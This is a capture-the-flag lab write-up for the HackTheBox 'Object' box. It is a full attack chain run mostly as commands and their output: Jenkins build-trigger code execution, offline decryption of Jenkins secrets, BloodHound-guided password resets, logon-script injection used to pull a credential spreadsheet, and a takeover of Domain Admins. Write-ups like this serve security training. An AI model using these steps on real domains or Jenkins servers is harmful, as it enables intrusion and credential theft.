Skip to content

Object Writeup - HackTheBox

Hard Windows
Mohammad Meraj

Independent Security Researcher

Object is a Windows Domain Controller running Jenkins with open self-registration. The chain runs: Jenkins remote build trigger for arbitrary command execution, offline decryption of a Jenkins-stored credential to get a WinRM shell as oliver, then three consecutive ACL abuses discovered via BloodHound: ForceChangePassword onto smith, GenericWrite onto maria abused via logon script injection to exfiltrate a spreadsheet with credentials, and WriteOwner on Domain Admins to add maria directly.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -A -p80,8080,5985 $TARGET_IP -oA nmap/nmap
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-title: Mega Engines
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0
8080/tcp open  http    Jetty 9.4.43.v20210629
| http-robots.txt: 1 disallowed entry
|_/

IIS on 80 served a static page with nothing useful. WinRM on 5985. Jetty on 8080 with a robots.txt disallowing everything strongly implies Jenkins. Directory brute force on 8080 confirms it:

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://$TARGET_IP:8080/FUZZ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
-mc 200,301,302,303,403 -fw 306
login    [Status: 200, Size: 2120]
signup   [Status: 200, Size: 7937]
git      [Status: 302, Size: 0]
cli      [Status: 302, Size: 0]

Jenkins. Self-registration is enabled at /signup.

Initial Access

Jenkins remote build trigger to RCE

Register a throwaway account via /signup, then create a new job. Under Configure:

  • Build Triggers: enable "Trigger builds remotely", set token test.

  • Build: add "Execute Windows batch command", start with whoami.

Generate an API token under the account's user configuration. This token is the credential for triggering builds remotely.

Trigger the build:

┌──(kali㉿kali)-[~]
└─$ curl http://test:$JENKINS_API_TOKEN@$TARGET_IP:8080/job/test/build?token=test
Started by remote host $ATTACKER_IP
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test

Read the console output at /job/test/1/console:

oliver@object ~ > whoami
object\oliver
Finished: SUCCESS

The "Running as SYSTEM" line reflects the Jenkins master process identity. The actual OS execution context of the build step is object\oliver. Arbitrary Windows batch command execution is confirmed. Rather than immediately popping a reverse shell, the build step was used as an enumeration primitive by editing the command and re-triggering the job each time.

Jenkins credential extraction

The Jenkins home directory layout exposes credential material. The admin user's config.xml held a stored credential:

oliver@object ~ > type c:\Users\oliver\AppData\local\jenkins\.jenkins\users\admin_17207690984073220035\config.xml
<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
  <username>oliver</username>
  <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
</com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>

The encrypted blob needs master.key and hudson.util.Secret to decrypt. Dump master.key directly:

oliver@object ~ > type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key

hudson.util.Secret is binary, so base64-encode it before reading:

oliver@object ~ > powershell -command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))"

Decode both locally and run offline decryption with jenkins_offline_decrypt.py from https://github.com/gquere/pwn_jenkins:

┌──(kali㉿kali)-[~]
└─$ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret credentials.xml
$OLIVER_PASSWORD

WinRM as oliver

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p '$OLIVER_PASSWORD'

Shell as oliver. Check what else is running internally before moving further:

*Evil-WinRM* PS C:\Users\Administrator\Documents> netstat -an | findstr LISTENING
TCP  0.0.0.0:88    LISTENING
TCP  0.0.0.0:389   LISTENING
TCP  0.0.0.0:445   LISTENING
TCP  0.0.0.0:636   LISTENING
TCP  0.0.0.0:3268  LISTENING
TCP  0.0.0.0:9389  LISTENING
<snip - ephemeral RPC ports and IPv6/loopback DNS>

Kerberos, LDAP, Global Catalog, and AD Web Services are all listening locally but were not exposed in the external scan. This host is the domain controller for object.local. Other user profiles (smith, maria, Administrator) are visible under C:\Users. This is an AD enumeration job for BloodHound.

BloodHound and ACL Abuse Chain

Collect AD data

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload SharpHound.exe
*Evil-WinRM* PS C:\Users\Administrator\Documents> .\SharpHound.exe -c all
*Evil-WinRM* PS C:\Users\Administrator\Documents> download 20260731090700_BloodHound.zip
SharpHound Enumeration Completed at 9:07 AM on 7/31/2026! Happy Graphing!

oliver to smith via ForceChangePassword

BloodHound shows oliver holds ForceChangePassword over smith. Reset smith's password with PowerView:

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload powerview.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> $Cred = New-Object System.Management.Automation.PSCredential(
'OBJECT\oliver', (ConvertTo-SecureString '$OLIVER_PASSWORD' -AsPlainText -Force))
*Evil-WinRM* PS C:\Users\Administrator\Documents>  Set-DomainUserPassword -Identity smith \
-AccountPassword (ConvertTo-SecureString '$SMITH_PASSWORD' -AsPlainText -Force) \
-Credential $Cred

Smith is a member of Remote Management Users, so the reset immediately grants WinRM access. The next BloodHound analysis run as smith shows GenericWrite over maria.

smith to maria via GenericWrite - logon script injection

GenericWrite allows writing arbitrary attributes to the target object including servicePrincipalName and scriptPath. A targeted Kerberoast was attempted first: a fake SPN was set on maria and a TGS was requested, but every ticket came back with UNKNOWN in the username field rather than maria, making the hash uncrackable. That path was dropped.

scriptPath sets the logon script executed when maria authenticates. Outbound connections beyond ICMP were firewalled, confirmed with a ping callback:

*Evil-WinRM* PS C:\Users\Administrator\Documents> echo "ping $ATTACKER_IP" > ping.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\ping.ps1"}
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -ni tun0 icmp
IP $TARGET_IP > $ATTACKER_IP: ICMP echo request, id 1, seq 1104

Script execution on maria's logon cycle confirmed. Since a reverse shell was not viable, write command output to a file in C:\programdata and read it back through the existing WinRM session:

*Evil-WinRM* PS C:\Users\Administrator\Documents> echo "ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents>  Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}
*Evil-WinRM* PS C:\Users\Administrator\Documents>  type out2
    Directory: C:\users\maria\desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/26/2021   8:13 AM           6144 Engines.xls

Engines.xls on maria's desktop is worth pulling. Use the logon script to copy it to C:\programdata, then download it:

*Evil-WinRM* PS C:\Users\Administrator\Documents> echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}
download C:\programdata\Engines.xls

Engines.xls credential extraction

The spreadsheet holds engine inventory data with a "Chamber Username" and "Chamber Password" column. Three rows for maria with three different passwords. Save them to a file and spray WinRM:

┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP -u maria -p passwords.txt
WINRM  $TARGET_IP  [-] object.local\maria:$MARIA_PASSWORD_1
WINRM  $TARGET_IP  [-] object.local\maria:$MARIA_PASSWORD_2
WINRM  $TARGET_IP  [+] object.local\maria:$MARIA_PASSWORD (Pwn3d!)

(Pwn3d!) means maria also has local admin rights on the box.

Privilege Escalation

WriteOwner on Domain Admins

BloodHound shows maria holds WriteOwner over the Domain Admins group. The path to Domain Admin is three steps: take ownership of the group object, grant maria full control ACL over it, then add maria as a member.

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u maria -p '$MARIA_PASSWORD'
*Evil-WinRM* PS C:\Users\Administrator\Documents> upload powerview.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
*Evil-WinRM* PS C:\Users\Administrator\Documents> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
*Evil-WinRM* PS C:\Users\Administrator\Documents> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

Confirm membership:

*Evil-WinRM* PS C:\Users\Administrator\Documents> net user maria
Global Group memberships  *Domain Admins  *Domain Users
The command completed successfully.

The existing WinRM session still holds the old Kerberos token. Open a fresh session to pick up the new group membership:

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u maria -p '$MARIA_PASSWORD'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami /groups
Group Name                                    SID
============================================= =============================================
BUILTIN\Administrators                        S-1-5-32-544
OBJECT\Domain Admins                          S-1-5-21-4088429403-1159899800-2753317549-512
Mandatory Label\High Mandatory Level          S-1-16-12288

Domain Admin with a High Mandatory Level token. Root reached.